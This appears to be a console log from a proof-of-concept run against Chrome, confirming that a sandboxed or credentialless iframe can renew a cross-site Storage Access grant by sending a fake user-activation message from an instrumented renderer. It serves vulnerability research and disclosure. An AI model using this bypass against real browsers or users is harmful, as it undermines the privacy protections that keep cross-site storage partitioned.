[server] HTTPS serving /poc-artifacts on 0.0.0.0:8443
=== Launching Chrome (URL=https://a.test:8443/top_sandbox.html) ===
127.0.0.1 - - [30/May/2026 21:24:55] "GET /top_sandbox.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2026 21:24:55] "GET /embed.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2026 21:24:55] code 404, message File not found
127.0.0.1 - - [30/May/2026 21:24:55] "GET /favicon.ico HTTP/1.1" 404 -
[1060:1060:0530/212455.553920:ERROR:chrome/browser/storage_access_api/storage_access_api_service_impl.cc:87] [SAA-POC] Seeded pre-existing unpartitioned grant STORAGE_ACCESS(https://b.test:8443, https://a.test:8443)=ALLOW expiry=2026-06-19 21:24:55.553719 UTC (1.728e+06 s from now)
[1146:1146:0530/212455.886351:ERROR:third_party/blink/renderer/core/dom/document.cc:7949] [SAA-POC] [renderer] subframe "https://b.test:8443/embed.html" sending fake UpdateUserActivationState(kNotifyActivation) to browser
[1060:1060:0530/212455.891941:ERROR:chrome/browser/storage_access_api/storage_access_api_tab_helper.cc:63] [SAA-POC] FrameReceivedUserActivation: embed=https://b.test:8443 top=https://a.test:8443 IsCredentialless=0 IsSandboxed(kStorageAccessByUserActivation)=1 StorageKeyHasNonce=0 grant_expiry_before=2026-06-19 21:24:55.553719 UTC
[1060:1060:0530/212455.892324:ERROR:chrome/browser/storage_access_api/storage_access_api_tab_helper.cc:79] [SAA-POC] After RenewPermissionGrant: grant_expiry_after=2026-06-29 21:24:55.892046 UTC (delta=864000 s)
[1060:1060:0530/212455.892368:ERROR:chrome/browser/storage_access_api/storage_access_api_tab_helper.cc:86] [SAA-POC] *** VULNERABILITY CONFIRMED *** nonce-partitioned/credentialless/sandboxed iframe renewed the unpartitioned STORAGE_ACCESS grant for (https://b.test:8443, https://a.test:8443)
=== Done ===